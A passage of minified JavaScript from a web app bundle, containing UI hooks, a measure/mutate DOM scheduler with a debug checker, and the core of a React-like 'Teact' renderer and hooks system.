t=Boolean(e),{transitionClassNames:n}=(0,o.Z)(t,void 0,t,"slow");return n}},48778:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(99203),s=n(65326);const a=(e,t,n=!1,a=!1)=>{const i=(0,r.o5)(e,t),d=(0,s.Z)();return(0,o.d4)((()=>{if(a)return(0,r.Qt)(d)}),[a,d]),(0,o.d4)((()=>{n||i||(0,r.$y)(e).then(d)}),[e,d,i,t,n]),i}},87204:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(60748);const r=function(e,t){const n=(0,o.sO)(),{current:r}=n;return t&&void 0===e||(n.current=e),r}},92112:(e,t,n)=>{n.d(t,{ZP:()=>f,lh:()=>u,pP:()=>l});var o=n(60748),r=n(16063),s=n(25190);const a=(0,r._)(),i=(0,r._)();let d,c=!1;function u(){return c}function l(){return c||(c=!0,a.runCallbacks()),d&&(clearTimeout(d),d=void 0),function(){d&&(clearTimeout(d),d=void 0),c=!1,i.runCallbacks()}}const f=(e,t,n=!1)=>{const r=(0,s.Z)(e),d=(0,s.Z)(t);(0,o.d4)((()=>{if(!n)return c&&r(),a.addCallback(r),i.addCallback(d),()=>{i.removeCallback(d),a.removeCallback(r)}}),[n,r,d])}},78722:(e,t,n)=>{n.d(t,{Z:()=>i});var o=n(60748),r=n(16063),s=n(70971);const a=new Map;function i(e,t,n=!1){const i=(0,s.Y)(t);(0,o.d4)((()=>{const t=e?.current;if(!t||n)return;const o=([e])=>{0===e.contentRect.width&&0===e.contentRect.height||i.current(e)};let[s,d]=a.get(t)||[void 0,void 0];return s||(d=(0,r._)(),s=new ResizeObserver(d.runCallbacks),a.set(t,[s,d]),s.observe(t)),d.addCallback(o),()=>{d.removeCallback(o),d.hasCallbacks()||(s.unobserve(t),s.disconnect(),a.delete(t))}}),[n,i,e])}},76997:(e,t,n)=>{n.d(t,{Z:()=>i});var o=n(60748),r=n(16063),s=n(70971);const a=new Map;function i(e,t,n=!1){const i=(0,s.Y)(t);(0,o.d4)((()=>{const t=e&&"current"in e?e.current:e;if(!t||n)return;const o=([e])=>{e.target.offsetWidth&&e.target.offsetHeight&&i.current(e)};let[s,d]=a.get(t)||[void 0,void 0];return s||(d=(0,r._)(),s=new IntersectionObserver(d.runCallbacks),a.set(t,[s,d]),s.observe(t)),d.addCallback(o),()=>{d.removeCallback(o),d.hasCallbacks()||(s.unobserve(t),s.disconnect(),a.delete(t))}}),[n,i,e])}},31212:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(46752);const s=(e=!1,t,n=!1,s="fast",a=!1,i=350,d=!1)=>{const[c,u]=(0,o.eJ)(!e),l=(0,o.sO)(),[f,h]=(0,o.eJ)(e&&n);if(e)u(!1),h(!0),l.current&&(window.clearTimeout(l.current),l.current=void 0);else if(h(!1),!c&&!l.current){const e=()=>{u(!0),t&&t(),l.current=void 0};a?e():l.current=window.setTimeout(e,i)}const m=f&&!(a&&!e)||d&&e,p=Boolean(l.current),g=e||p;return{shouldRender:g,transitionClassNames:(0,r.Z)(s&&"opacity-transition",s,m&&"open",!m&&"not-open",g&&"shown",!g&&"not-shown",p&&"closing"),hasShownClass:g,hasOpenClass:m,isClosing:p}}},70971:(e,t,n)=>{n.d(t,{Y:()=>r});var o=n(60748);function r(e){const t=(0,o.sO)(e);return t.current=e,t}},34446:(e,t,n)=>{n.d(t,{Z:()=>a});var o=n(60748),r=n(7792),s=n(87204);function a(e,t){const n=(0,s.Z)(t),a=(0,o.sO)();n&&!t.some(((e,t)=>e!==n[t]))||(a.current?.(),a.current=e(n||[])??void 0),(0,r.Z)((()=>()=>{a.current?.()}))}},3927:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(69118);function s(e,t,n,s=!1){const a=(0,o.I4)(e,t);return(0,o.Ye)((()=>"number"==typeof n?(0,r.P2)(a,n,!s):(0,r.d0)(n,a)),[a,n,s])}},2903:(e,t,n)=>{n.d(t,{Z:()=>i});var o=n(60748),r=n(33555),s=n(4463),a=n(7054);function i(e){const t=e&&"content"in e?(0,s.DH)(e):e?.thumbnail?.dataUri,n=(0,a.Puy)((0,r.Rd)());return(0,o.Ye)((()=>{const e=t;return e&&"dark"===n?e.replace("<svg",'<svg fill="white"'):e}),[t,n])}},27704:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(69995);function s(){const e=(0,o.sO)();return e.current||(e.current=(0,r.Z)()),e.current}},46898:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748),r=n(57710);function s(e,t){(0,o.d4)((()=>{const t=e.current;return()=>{t&&(0,r.Yq)((()=>{t.pause(),t.src="",t.load()}))}}),t)}},58758:(e,t,n)=>{n.d(t,{Z:()=>s});var o=n(60748);const r="backdrop";function s(e,t,n,s,a){(0,o.d4)((()=>{if(!e||!n)return;const o=e=>{const o=t.current,i=e.target;!o||!i||s&&2===e.button||o.contains(e.target)&&!i.classList.contains(r)||a&&(i.matches(a)||i.closest(a))||(e.preventDefault(),e.stopPropagation(),n?.())};return document.addEventListener("mousedown",o),()=>{document.removeEventListener("mousedown",o)}}),[a,s,e,t,n])}},13819:(e,t,n)=>{n.d(t,{Z:()=>c,q:()=>u});var o=n(60748),r=n(16063),s=n(25190);const a=(0,r._)(),i=(0,r._)();let d=document.hasFocus();function c(e,t,n=!1){const r=(0,s.Z)(e),c=(0,s.Z)(t);(0,o.d4)((()=>{if(!n)return d||r(),a.addCallback(r),i.addCallback(c),()=>{i.removeCallback(c),a.removeCallback(r)}}),[n,r,c])}function u(){return!d}window.addEventListener("blur",(()=>{d&&(d=!1,a.runCallbacks())})),window.addEventListener("focus",(()=>{d=!0,i.runCallbacks()}))},38146:(e,t,n)=>{n.d(t,{Z:()=>d});var o=n(60748),r=n(16063),s=n(7792);const a=(0,r._)();function i(){window.matchMedia(`(resolution: ${window.devicePixelRatio}dppx)`).addEventListener("change",a.runCallbacks,{once:!0})}function d(){const[e,t]=(0,o.eJ)(window.devicePixelRatio);return(0,s.Z)((()=>{a.addCallback((()=>{t(window.devicePixelRatio)}))})),e}i(),a.addCallback(i)},22418:(e,t,n)=>{n.d(t,{Z:()=>d});var o=n(60748),r=n(69118),s=n(43858),a=n(67360);const i=250;function d(){const{width:e,height:t}=s.Z.get(),[n,d]=(0,o.eJ)(e),[c,u]=(0,o.eJ)(t),[l,f]=(0,o.eJ)(!1),h=(0,a.Z)(f,[f],i,!0);return(0,o.d4)((()=>{const e=(0,r.P2)((()=>{f(!0)}),i,!0),t=(0,r.P2)((()=>{const{width:e,height:t}=s.Z.get();d(e),u(t),h(!1)}),i,!1),n=()=>{e(),t()};return window.addEventListener("resize",n),()=>{window.removeEventListener("resize",n)}}),[h]),(0,o.Ye)((()=>({width:n,height:c,isResizing:l})),[c,l,n])}},57710:(e,t,n)=>{n.d(t,{Ru:()=>s.Ru,WM:()=>f,Yq:()=>h,i$:()=>l,lT:()=>m,x4:()=>s.x4,yn:()=>s.yn});var o=n(93088),r=n(69118),s=n(99314);let a=[],i=[],d=[];const c=(u=()=>{const e=a;a=[],e.forEach((e=>{(0,o.Z)(e)})),Promise.resolve().then((()=>{(0,s.$Y)("mutate");const e=i;i=[],e.forEach((e=>{(0,o.Z)(e)}))})).then((()=>{(0,s.$Y)("measure");const e=[];for(const t of d)(0,o.Z)((()=>{const n=t();n&&e.push(n)}));return d=[],e})).then((e=>{(0,s.$Y)("mutate");for(const t of e)(0,o.Z)(t)})).then((()=>{(0,s.$Y)("measure")}))},(0,r.d0)((e=>{(0,r.T2)(e,!0)}),u));var u;function l(e){a.push(e),c()}function f(e){i.push(e),c()}function h(e){l((()=>{f(e)}))}function m(e){d.push(e),c()}},99314:(e,t,n)=>{n.d(t,{Cz:()=>l,Ru:()=>u,yn:()=>f,x4:()=>m,$Y:()=>c});const o={Element:{props:["clientLeft","clientTop","clientWidth","clientHeight","scrollWidth","scrollHeight","scrollLeft","scrollTop"],methods:["getClientRects","getBoundingClientRect","scrollBy","scrollTo","scrollIntoView","scrollIntoViewIfNeeded"]},HTMLElement:{props:["offsetLeft","offsetTop","offsetWidth","offsetHeight","offsetParent","innerText"],methods:["focus"]},window:{props:["scrollX","scrollY","innerHeight","innerWidth"],methods:["getComputedStyle"]},VisualViewport:{props:["height","width","offsetTop","offsetLeft"]},Document:{props:["scrollingElement"],methods:["elementFromPoint"]},HTMLInputElement:{methods:["select"]},MouseEvent:{props:["layerX","layerY","offsetX","offsetY"]},Range:{methods:["getClientRects","getBoundingClientRect"]}};let r=console.error;const s=new Map;let a,i="measure",d=!1;function c(e){i=e}function u(){d||(d=!0,Object.entries(o).forEach((([e,t])=>{const n=window[e];if(!n)return;const o="object"==typeof n?n:n.prototype;"props"in t&&t.props.forEach((t=>{const n=Object.getOwnPropertyDescriptor(o,t)?.get;n&&(s.set(`${e}#${t}`,n),Object.defineProperty(o,t,{get(){return p(t),n.call(this)}}))})),"methods"in t&&t.methods.forEach((t=>{const n=o[t];s.set(`${e}#${t}`,n),o[t]=function(...e){return p(t),n.apply(this,e)}}))})),a=new MutationObserver((e=>{"mutate"!==i&&e.forEach((({target:e,type:t,attributeName:n})=>{document.contains(e)&&(h.has(e)||"childList"===t&&e instanceof HTMLElement&&e.contentEditable||n?.startsWith("data-")||r(new Error(`Unexpected mutation detected: \`${"attributes"===t?n:t}\``)))})),h.clear()})),a.observe(document.body,{childList:!0,attributes:!0,subtree:!0,characterData:!1}))}function l(){d&&(a?.disconnect(),a=void 0,Object.entries(o).forEach((([e,t])=>{const n=window[e];if(!n)return;const o="object"==typeof n?n:n.prototype;"props"in t&&t.props.forEach((t=>{const n=s.get(`${e}#${t}`);n&&Object.defineProperty(o,t,{get:n})})),"methods"in t&&t.methods.forEach((t=>{o[t]=s.get(`${e}#${t}`)}))})),s.clear(),d=!1)}function f(e){if("mutate"!==i)throw new Error("The current phase is 'measure'");i="measure";const t=e();return i="mutate",t}const h=new Set;function m(e,t){if("measure"!==i)throw new Error("The current phase is 'mutate'");return d&&(Array.isArray(t)?t.forEach((e=>{h.add(e)})):h.add(t)),e()}function p(e){"measure"!==i&&r(new Error(`Unexpected measurement detected: \`${e}\``))}},84089:(e,t,n)=>{let o,r;async function s(){return o||(o=n.e(3748).then(n.bind(n,3748)).then((e=>e.default)),r=await o),o}function a(){return r}n.d(t,{_:()=>a,t:()=>s}),setTimeout(s,3e3)},31664:(e,t,n)=>{n.d(t,{D_:()=>F,ZP:()=>H,mC:()=>j,iL:()=>U,ye:()=>$});var o=n(83716),r=n(60782);const s=new Set(["scroll","mouseenter","mouseleave","load"]),a={},i={},d=new Map;function c(e,t){const n=e.replace(/^on/,"").replace(/Capture$/,"").toLowerCase();return"change"===n&&"SELECT"!==t.tagName?"input":"doubleclick"===n?"dblclick":"focus"===n?"focusin":"blur"===n?"focusout":n}function u(e,t,n){return!n&&!s.has(e)&&"VIDEO"!==t.tagName&&"IFRAME"!==t.tagName}function l(e,t){a[e]--,a[e]||document.removeEventListener(e,f),i[e].delete(t),d.get(t).delete(e)}function f(e){const t=i[e.type];if(t){let n=!1,o=e.target;const r=()=>{n=!0},s=()=>{e.preventDefault()},a=new Proxy(e,{get:(e,t)=>"currentTarget"===t?o:"stopPropagation"===t||"stopImmediatePropagation"===t?r:"preventDefault"===t?s:Reflect.get(e,t)});for(;o&&o!==document.body;){const e=t.get(o);if(e&&(e(a),n))return;o=o.parentNode}}}o.eMD&&document.addEventListener("dblclick",(()=>{const e=Object.keys(a).length,t=Object.values(a).reduce(((e,t)=>e+t),0),n=Object.keys(i).length,o=Object.values(i).reduce(((e,t)=>e+t.size),0),r=d.size,s=Array.from(d.values()).reduce(((e,t)=>e+t.size),0);console.warn("DELEGATED EVENTS STATS",{delegatedHandlersCount1:t,delegatedHandlersCount2:o,delegatedEventTypesCount:s,delegationRegistriesCount:n,delegationElementsCount:r,documentListenersCount:e})}));var h=n(60748);const m=new Set(["key","ref","teactFastList","teactOrderKey"]),p=new Set(["dir","role","form"]),g=["INPUT","TEXTAREA","SELECT"],y={autoPlay:"autoplay",autoComplete:"autocomplete"},b="__indexKey#",v=new WeakMap,w=new WeakMap,I=new WeakMap;function C(e,t,n,r,s,a={}){const{skipComponentUpdate:i,fragment:d}=a;let{nextSibling:c,isSvg:u}=a;const l=t?.type===h.u0.Component,f=n?.type===h.u0.Component,m=n,p=!l&&t?.type===h.u0.Fragment,g=!f&&n?.type===h.u0.Fragment;if(n?.type===h.u0.Tag&&"svg"===n.tag&&(u=!0),!i&&l&&f&&!(0,h.k)(t,n)&&(n=function(e,t){return e.componentInstance.props=t.componentInstance.props,(0,h.SO)(e.componentInstance)}(t,n)),!i&&f&&n.componentInstance.mountState===h.T6.Mounted&&E(e,n,r,s),t===n)return n;if(o.eMD&&n){const e="target"in n&&n.target;if(e&&(!t||"target"in t&&e!==t.target))throw new Error("[Teact] Cached virtual element was moved within tree")}if(!t&&n)if(f||g)f&&(n=S(e,n,r,s)),P(e,n,{nextSibling:c,fragment:d,isSvg:u});else if(d||c||m.type!==h.u0.Text||1!==r.children.length||e.firstChild){const t=k(m,u);m.target=t,A(d||e,t,c),m.type===h.u0.Tag&&Z(m,t)}else e.textContent=m.value,m.target=e.firstChild;else if(t&&!n)T(e,t,void 0);else if(t&&n)if((0,h.k)(t,n))if(c||(c=L(t)),f||g)f&&(n=S(e,n,r,s)),T(e,t,void 0),P(e,n,{nextSibling:c,fragment:d,isSvg:u});else{const n=k(m,u);m.target=n,T(e,t,n,c),m.type===h.u0.Tag&&Z(m,n)}else if(l&&f||p&&g)N(t,n,e,c,a.forceMoveToEnd);else{const o=t,r=o.target;if(m.target=r,o.target=void 0,t.type===h.u0.Tag){const o=n;Z(t,void 0),Z(o,r),(c||a.forceMoveToEnd)&&A(e,r,c),function(e,t,n,o){D(n.tagName,t.props);const r=Object.entries(e.props),s=Object.entries(t.props);for(const[e,o]of r){const r=t.props[e];void 0!==o&&(void 0===r||o!==r&&e.startsWith("on"))&&O(n,e,o)}for(const[t,r]of s){const s=e.props[t];void 0!==r&&r!==s&&B(n,t,r,o)}}(t,o,r,u),N(t,o,r,void 0,void 0,u)}}return n}function S(e,t,n,o){const{componentInstance:r}=t;return r.mountState===h.T6.New&&E(e,t=(0,h.Hb)(r),n,o),t}function E(e,t,n,o){const{componentInstance:r}=t;r.onUpdate=()=>{n.children[o]=C(e,n.children[o],r.$element,n,o,{skipComponentUpdate:!0})}}function P(e,t,n){const{children:o}=t;for(let r=0,s=o.length;r<s;r++){const s=o[r],a=C(e,void 0,s,t,r,n);a!==s&&(o[r]=a)}}function k(e,t){if(e.type===h.u0.Empty)return document.createTextNode("");if(e.type===h.u0.Text)return document.createTextNode(e.value);const{tag:n,props:o,children:r}=e,s=t?document.createElementNS("http://www.w3.org/2000/svg",n):document.createElement(n);D(n,o);for(const e in o)o.hasOwnProperty(e)&&void 0!==o[e]&&B(s,e,o[e],t);!function(e,t){g.includes(e.tagName)&&(t.defaultValue&&B(e,"value",t.defaultValue),t.defaultChecked&&B(e,"checked",t.defaultChecked))}(s,o);for(let n=0,o=r.length;n<o;n++){const o=r[n],a=C(s,void 0,o,e,n,{isSvg:t});a!==o&&(r[n]=a)}return s}function T(e,t,n,o){const r=t.type===h.u0.Component,s=!r&&t.type===h.u0.Fragment;r||s?(r&&(0,h.su)(t.componentInstance),function(e,t){for(const n of t.children)C(e,n,void 0,t,-1)}(e,t),n&&A(e,n,o)):(n?e.replaceChild(n,t.target):e.removeChild(t.target),M(t))}function M(e){if(e.type===h.u0.Component)(0,h.su)(e.componentInstance);else if(e.type!==h.u0.Fragment&&(e.type===h.u0.Tag&&(w.delete(e.target),Z(e,void 0),function(e){const t=d.get(e);t&&(t.forEach((t=>l(t,e))),d.delete(e))}(e.target)),e.target=void 0,e.type!==h.u0.Tag))return;for(const t of e.children)M(t)}function A(e,t,n){n?e.insertBefore(t,n):e.appendChild(t)}function L(e){return e.type===h.u0.Component||e.type===h.u0.Fragment?L(e.children[e.children.length-1]):e.target.nextSibling||void 0}function N(e,t,n,s,a=!1,i){if(o.eMD&&function(e){const t=e[0];if(t&&"props"in t&&void 0!==t.props.key){const t=e.reduce(((e,t)=>("props"in t&&t.props.key&&e.push(t.props.key),e)),[]);if(t.length!==(0,r.Tw)(t).length)throw console.warn("[Teact] Duplicated keys:",t.filter(((e,t,n)=>n.indexOf(e)!==t))),new Error("[Teact] Children keys are not unique")}}(t.children),"props"in t&&t.props.teactFastList)return void function(e,t,n){const r=e.children,s=t.children,a=new Set;for(const e of s){const t="props"in e?e.props.key:void 0;if(o.eMD&&(0,h.f4)(e)&&(null==t&&console.warn("Missing `key` in `teactFastList`"),e.type===h.u0.Fragment))throw new Error("[Teact] Fragment can not be child of container with `teactFastList`");a.add(t)}let i=0;const d={};for(let e=0,o=r.length;e<o;e++){const o=r[e];let c="props"in o?o.props.key:void 0;const u=null!=c;if(!u||a.has(c)){if(!u){const r=s[e],a=r&&"props"in r?r.props.key:void 0;if(!r||a){C(n,o,void 0,t,-1);continue}c=`${b}${e}`}d[c]={$element:o,index:i++,orderKey:"props"in o?o.props.teactOrderKey:void 0}}else C(n,o,void 0,t,-1)}let c,u,l=0;for(let e=0,o=s.length;e<o;e++){const o=s[e],r=d["props"in o?o.props.key:`${b}${e}`];if(!r){void 0===u&&(c=e,u=0),u++;continue}u&&(R(c,u,n,t),u=void 0,c=void 0);const a="props"in o?o.props.teactOrderKey:void 0,i=r.index!==l&&(!a||r.orderKey!==a),f=i&&l>r.index;i&&!f||l++;const h=n.childNodes[f?e+1:e],m=i?h?{nextSibling:h}:{forceMoveToEnd:!0}:void 0,p=C(n,r.$element,o,t,e,m);p!==o&&(s[e]=p)}u&&R(c,u,n,t)}(e,t,n);const d=e.children,c=t.children,u=d.length,l=c.length,f=Math.max(u,l),m=l>u?document.createDocumentFragment():void 0,p=e.children[u-1],g=m&&(s||(p?L(p):void 0));for(let e=0;e<f;e++){const o=C(n,d[e],c[e],t,e,e>=u?{fragment:m,isSvg:i}:{nextSibling:s,forceMoveToEnd:a,isSvg:i});o&&o!==c[e]&&(c[e]=o)}m&&A(n,m,g)}function R(e,t,n,o){const r=n.childNodes[e];if(1===t){const t=o.children[e],s=C(n,void 0,t,o,e,{nextSibling:r});return void(s!==t&&(o.children[e]=s))}const s=document.createDocumentFragment();for(let r=e;r<e+t;r++){const e=o.children[r],t=C(n,void 0,e,o,r,{fragment:s});t!==e&&(o.children[r]=t)}A(n,s,r)}function Z(e,t){const{ref:n}=e.props;"object"==typeof n?n.current=t:"function"==typeof n&&n(t)}function D(e,t){if(!t.teactExperimentControlled)return;const n=void 0!==t.value,o=void 0!==t.checked;if(!n&&!o||!g.includes(e.toUpperCase()))return;const{value:r,checked:s,onInput:a,onChange:i}=t;t.onChange=void 0,t.onInput=e=>{if(a?.(e),i?.(e),void 0!==r&&r!==e.currentTarget.value){const{selectionStart:t,selectionEnd:n}=e.currentTarget,o=t===n&&n===e.currentTarget.value.length;if(e.currentTarget.value=r,"number"==typeof t&&"number"==typeof n){e.currentTarget.setSelectionRange(t,n);const r={selectionStart:t,selectionEnd:n,isCaretAtEnd:o};e.currentTarget.dataset.__teactSelectionState=JSON.stringify(r)}}void 0!==s&&(e.currentTarget.checked=s)}}function B(e,t,n,o){if("className"===t)x(e,n,o);else if("value"===t){const t=e;if(t.value!==n){t.value=n;const e=t.dataset.__teactSelectionState;if(e){const{selectionStart:n,selectionEnd:o,isCaretAtEnd:r}=JSON.parse(e);if(r){const e=t.value.length;t.setSelectionRange(e,e)}else"number"==typeof n&&"number"==typeof o&&t.setSelectionRange(n,o)}}}else"style"===t?_(e,n):"dangerouslySetInnerHTML"===t?e.innerHTML=n.__html:t.startsWith("on")?function(e,t,n,o=!1){const r=c(t,e);u(r,e,o)?function(e,t,n){a[e]||(a[e]=0,document.addEventListener(e,f)),function(e){return i[e]||(i[e]=new Map),i[e]}(e).set(t,n),function(e){const t=d.get(e);if(t)return t;const n=new Set;return d.set(e,n),n}(t).add(e),a[e]++}(r,e,n):e.addEventListener(r,n,o)}(e,t,n,t.endsWith("Capture")):o||t.startsWith("data-")||t.startsWith("aria-")||p.has(t)?e.setAttribute(t,n):m.has(t)||(e[y[t]||t]=n)}function O(e,t,n){"className"===t?x(e,""):"value"===t?e.value="":"style"===t?_(e,""):"dangerouslySetInnerHTML"===t?e.innerHTML="":t.startsWith("on")?function(e,t,n,o=!1){const r=c(t,e);u(r,e,o)?l(r,e):e.removeEventListener(r,n,o)}(e,t,n,t.endsWith("Capture")):m.has(t)||e.removeAttribute(t)}function x(e,t,n){if(n)return void e.setAttribute("class",t);const o=e,r=w.get(e);if(!r)return void(o.className=t);const s=Array.from(r);t&&s.push(t),o.className=s.join(" ")}function _(e,t){e.style.cssText=t,I.get(e)&&V(e)}function F(e,t,n=!1){if(!n){const n=t.split(" ");if(n.length>1){for(const t of n)F(e,t,!0);return}}e.classList.add(t);const o=w.get(e);o?o.add(t):w.set(e,new Set([t]))}function j(e,t,n=!1){if(!n){const n=t.split(" ");if(n.length>1){for(const t of n)j(e,t,!0);return}}e.classList.remove(t);const o=w.get(e);o&&(o.delete(t),o.size||w.delete(e))}function $(e,t,n,o=!1){if(!o){const o=t.split(" ");if(o.length>1){for(const t of o)$(e,t,n,!0);return}}e.classList.toggle(t,n),e.classList.contains(t)?F(e,t):j(e,t)}function U(e,t){I.set(e,t),V(e)}function V(e){const t=Object.entries(I.get(e)).reduce(((t,[n,o])=>(n.startsWith("--")?e.style.setProperty(n,o):t[n]=o,t)),{});Object.assign(e.style,t)}const H={render:function(e,t){v.has(t)||v.set(t,{children:[]});const n=(0,h.P_)(),o=v.get(t),r=C(t,o.children[0],e,o,0);n?.(),o.children=r?[r]:[]}}},60748:(e,t,n)=>{n.d(t,{Fz:()=>te,T6:()=>g,u0:()=>p,P_:()=>j,ZP:()=>ne,k:()=>V,f4:()=>S,X$:()=>ee,Hb:()=>H,SO:()=>U,su:()=>W,I4:()=>X,d4:()=>q,bt:()=>Y,Ye:()=>J,sO:()=>Q,eJ:()=>G});var o=n(83716),r=n(275),s=n(69118);const a=new Set(["TeactMemoWrapper renders","TeactNContainer renders","Button renders"]);let i={};const d=(0,s.P2)((function(){c||function(){c=document.createElement("div"),c.style.cssText="position: absolute; left: 0; bottom: 25px; z-index: 9998; width: 260px; height: 200px; border: 1px solid #555; background: rgba(255, 255, 255, 0.9); overflow: auto; font-size: 10px;",document.body.appendChild(c);const e=document.createElement("a");e.style.cssText="position: absolute; left: 222px; bottom: 198px; z-index: 9999; font-size: 20px; cursor: pointer;",e.innerText="🔄",e.addEventListener("click",(()=>{i={},d()})),document.body.appendChild(e)}();const e=Date.now()-500,[t,n]=Object.entries(i).reduce(((e,[t,{value:n}])=>(a.has(t)||(t.includes("renders")&&n>e[0]&&(e[0]=n),t.includes("duration")&&n>e[1]&&(e[1]=n)),e)),[0,0]);c.innerHTML=Object.entries(i).filter((([e,{value:t}])=>!a.has(e)&&(e.includes("renders")&&t>5||e.includes("duration")&&t>2))).sort(((e,t)=>t[1].lastUpdateAt-e[1].lastUpdateAt)).map((([o,{value:r,lastUpdateAt:s}])=>{return[`<div style="background: #ff0000${a=r/(o.includes("renders")?t:n),Math.round(255*a).toString(16).padStart(2,"0")}">`,`  <span${s>e?' style="background: lightgreen"':""}>${o}: ${Math.round(r)}</span>`,"</div>"].join("\n");var a})).join("\n")}),500,!1);let c;function u(e,t=1){const n=Date.now();i[e]?(i[e].value+=t,i[e].lastUpdateAt=n):i[e]={value:t,lastUpdateAt:n},d()}var l=n(60782),f=n(93088),h=n(19369),m=n(57710);let p=function(e){return e[e.Empty=0]="Empty",e[e.Text=1]="Text",e[e.Tag=2]="Tag",e[e.Component=3]="Component",e[e.Fragment=4]="Fragment",e}({}),g=function(e){return e[e.New=0]="New",e[e.Mounted=1]="Mounted",e[e.Unmounted=2]="Unmounted",e}({});const y=Symbol("Fragment"),b=7,v=7,w=new Set(["TeactMemoWrapper","TeactNContainer","Button","ListItem","MenuItem"]);let I,C=0;function S(e){return e.type===p.Tag||e.type===p.Component||e.type===p.Fragment}function E(e,t,...n){return e===y?function(e){return{type:p.Fragment,children:k(e,!0)}}(n):"function"==typeof e?function(e,t,n){n?.length&&(t.children=1===n.length?n[0]:n);const o={id:++C,$element:void 0,Component:e,name:e.name,props:t,mountState:g.New};return o.$element=P(o),o.$element}(e,t||{},n):function(e,t,n){return{type:p.Tag,tag:e,props:t,children:k(n)}}(e,t||{},n)}function P(e,t){return{type:p.Component,componentInstance:e,props:e.props,children:t?k(t,!0):[]}}function k(e,t=!1){const n=function(e,t=!1){let n=e.length-1;for(;n>=0&&T(e[n]);n--);return n===e.length-1?e:-1===n&&t?e.slice(0,1):e.slice(0,n+1)}(e,t),o=[];for(let e=0,r=n.length;e<r;e++){const r=n[e];Array.isArray(r)?o.push(...k(r,t)):o.push(M(r))}return o}function T(e){return!e&&0!==e}function M(e){return T(e)?{type:p.Empty}:S(e)?e:{type:p.Text,value:String(e)}}const A={TOTAL:{name:"TOTAL",renders:0}},L={},N=20;document.addEventListener("dblclick",(()=>{console.warn("COMPONENTS",(0,l.Xo)(Object.values(A).map((({avgRenderTime:e,...t})=>({...t,...void 0!==e&&{avgRenderTime:Number(e.toFixed(2))}}))),"renders","desc")),console.warn("MEMOS",(0,l.Xo)(Object.values(L).filter((({calls:e})=>e>=N)).map((e=>({...e,hitRate:Number(e.hitRate.toFixed(2))}))),"hitRate","asc"))}));let R=new Set,Z=new Set,D=new Map,B=new Map,O=new Map,x=new Map,_=!1;const F=(0,s.d0)(m.i$,(()=>{const e=j();Z=new Set;const t=Array.from(R).sort(((e,t)=>e.id-t.id));R=new Set;const n=B;B=new Map,n.forEach((e=>e()));const o=D;D=new Map,o.forEach((e=>e())),(0,m.WM)((()=>{t.forEach(K),t.forEach((e=>{Z.has(e.id)||function(e){if(e.mountState!==g.Mounted||!e.onUpdate)return;const t=e.$element;U(e),e.$element!==t&&e.onUpdate()}(e)})),e?.()}))}));function j(){if(!_)return _=!0,$}function $(){const e=x;x=new Map,e.forEach((e=>e()));const t=O;O=new Map,t.forEach((e=>e())),_=!1}function U(e){Z.add(e.id);const{Component:t,props:n}=e;let r;if((0,f.Z)((()=>{let s;if(I=e,e.hooks&&(e.hooks.state&&(e.hooks.state.cursor=0),e.hooks.effects&&(e.hooks.effects.cursor=0),e.hooks.memos&&(e.hooks.memos.cursor=0),e.hooks.refs&&(e.hooks.refs.cursor=0)),o.eMD){const e=te(t);A[e]||(A[e]={name:e,renders:0,avgRenderTime:0}),o.ZTn&&(w.has(e)||console.log(`[Teact] Render ${e}`)),s=performance.now()}if(r=t(n),o.eMD){const e=performance.now()-s,n=te(t);e>b&&console.warn(`[Teact] Slow component render: ${n}, ${Math.round(e)} ms`);const{renders:r,avgRenderTime:a}=A[n];A[n].avgRenderTime=(a*r+e)/(r+1),A[n].renders++,A.TOTAL.renders++,o.ZTn&&(u(`${n} renders`),u(`${n} duration`,e))}}),(()=>{console.error(`[Teact] Error while rendering component ${e.name}`),r=e.renderedValue})),e.mountState===g.Mounted&&r===e.renderedValue)return e.$element;e.renderedValue=r;const s=Array.isArray(r)?r:[r];return e.mountState===g.New?e.$element.children=k(s,!0):e.$element=P(e,s),e.$element}function V(e,t){return typeof e!=typeof t||e.type!==t.type||(e.type===p.Text&&t.type===p.Text?e.value!==t.value:e.type===p.Tag&&t.type===p.Tag?e.tag!==t.tag||e.props.key!==t.props.key:e.type===p.Component&&t.type===p.Component&&(e.componentInstance.Component!==t.componentInstance.Component||e.props.key!==t.props.key))}function H(e){return U(e),e.mountState=g.Mounted,e.$element}function W(e){if(e.mountState===g.Mounted){if(Z.add(e.id),e.hooks?.effects)for(const t of e.hooks.effects.byCursor)t.cleanup&&(0,f.Z)(t.cleanup),t.cleanup=void 0,t.releaseSignals?.();e.mountState=g.Unmounted,function(e){const{effects:t,state:n,memos:o,refs:r}=e.hooks||{};if(t)for(const e of t.byCursor)e.schedule=void 0,e.cleanup=void 0,e.releaseSignals=void 0,e.dependencies=void 0;if(n)for(const e of n.byCursor)e.value=void 0,e.nextValue=void 0,e.setter=void 0;if(o)for(const e of o.byCursor)e.value=void 0,e.dependencies=void 0;if(r)for(const e of r.byCursor)e.current=void 0;e.hooks=void 0,e.$element=void 0,e.renderedValue=void 0,e.Component=void 0,e.props=void 0,e.onUpdate=void 0}(e)}}function K(e){if(e.mountState===g.Mounted&&e.hooks?.state)for(const t of e.hooks.state.byCursor)t.value=t.nextValue}function G(e,t){I.hooks||(I.hooks={}),I.hooks.state||(I.hooks.state={cursor:0,byCursor:[]});const{cursor:n,byCursor:r}=I.hooks.state,s=I;return void 0===r[n]&&(r[n]={value:e,nextValue:e,setter:e=>{s.mountState!==g.Unmounted&&("function"==typeof e&&(e=e(r[n].nextValue)),r[n].nextValue!==e&&(r[n].nextValue=e,R.add(s),F(),o.ZTn&&console.log("[Teact.useState]",te(s.Component),`State update at cursor #${n}${t?` (${t})`:""}, next value: `,r[n].nextValue)))}}),I.hooks.state.cursor++,[r[n].value,r[n].setter]}function z(e,t,n,r){I.hooks||(I.hooks={}),I.hooks.effects||(I.hooks.effects={cursor:0,byCursor:[]});const{cursor:s,byCursor:a}=I.hooks.effects,i=I,d=()=>(0,f.Z)((()=>{const{cleanup:e}=a[s];if(!e)return;let t;if(o.eMD&&(t=performance.now()),e(),o.eMD){const e=performance.now()-t,n=te(i.Component);e>v&&console.warn(`[Teact] Slow cleanup at effect cursor #${s}: ${n}, ${Math.round(e)} ms`)}}),(()=>{console.error(`[Teact] Error in effect cleanup at cursor #${s} in ${i.name}`)}),(()=>{a[s].cleanup=void 